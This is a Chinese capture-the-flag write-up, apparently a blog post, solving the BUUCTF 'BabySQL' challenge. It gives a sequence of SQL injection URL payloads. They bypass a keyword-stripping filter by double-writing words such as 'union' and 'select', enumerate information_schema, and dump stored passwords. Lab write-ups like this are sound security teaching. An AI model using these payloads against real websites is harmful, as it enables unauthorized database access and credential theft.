• buuctf-BabySQL 1


    启动靶机,打开页面

    因为之前有做过一些sql lab上面的题,所以稍微也会有一些思路,

    然后我先查看了一手源码,果然发现猫腻

     这里面有个check.php反手我就给它加上,

     又成这熊样了,好了开始注入吧

    然后我尝试使用了一下万能密码登录,

    /check.php?username=admin' or '1'='1 &password=1

    然后就成这样了

     有点儿郁闷呐。然后要注释密码的时候也是不成功,或许是#被过滤掉了,那就用%23来替代,这是他的16进制编码。

    再试一下

    /check.php?username=admin' %23&password=123

     出来了。登陆成功,尝试查询字段数

    /check.php?username=admin' order by 3%23&password=123

     报错了,貌似是把or给过滤掉了。所以之前的万能密码才失效的,那就用到了双写绕过。

    ?username=admin' oorr '1'='1%23&password=123

     成功了。

    因为存在将关键字置换为空的过滤,全部双写以绕过,查询字段数:

    /check.php?username=admin' uniunionon selselectect 1,2,3,4 %23&password=123

     看来只有三列了。

    还需要查看一下显示位

    ?username=1' uniunionon selselectect 11,22,33 %23&password=123

     得到回显位是2和3。

    要开始爆数据库

    /check.php?username=1' uniunionon selselectect 11,version(),database() %23&password=123

     名字叫geek

    爆表名

    /check.php?username=1' uniunionon selselectect11,22,group_concat(table_name) frfromominfoorrmation_schema.tables whwhereeretable_schema=database() %23&password=1

     再次爆出。

    字段名,爆他

    /check.php?username=1' uniunionon selselectect11,22,group_concat(column_name) frfromominfoorrmation_schema.columns whwhereere table_name='b4bsql' %23&password=1

     最后再爆出数据就是可了

    /check.php?username=1%27%20uniunionon%20selselectect%2011,22,group_concat(0x3a,passwoorrd)%20frfromom%20geek.b4bsql%20%23%20&password=123

     这样就ok了

  • 相关阅读:
    datetime函数和random.seed()函数的应用
    TP5 display()
    _STORAGE_WRITE_ERROR_
    nginx下基于ThinkPHP框架的网站url重写
    Thinkphp3.2版本Controller和Action的访问方法
    Undefined class constant 'MYSQL_ATTR_INIT_COMMAND'
    如何将word公式粘贴到TinyMCE里面
    如何将word公式粘贴到eWebEditor里面
    如何将word公式粘贴到wangEditor里面
    如何将word公式粘贴到xhEditor里面
  • 原文地址:https://www.cnblogs.com/awsole/p/13800412.html
Copyright © 2020-2023  润新知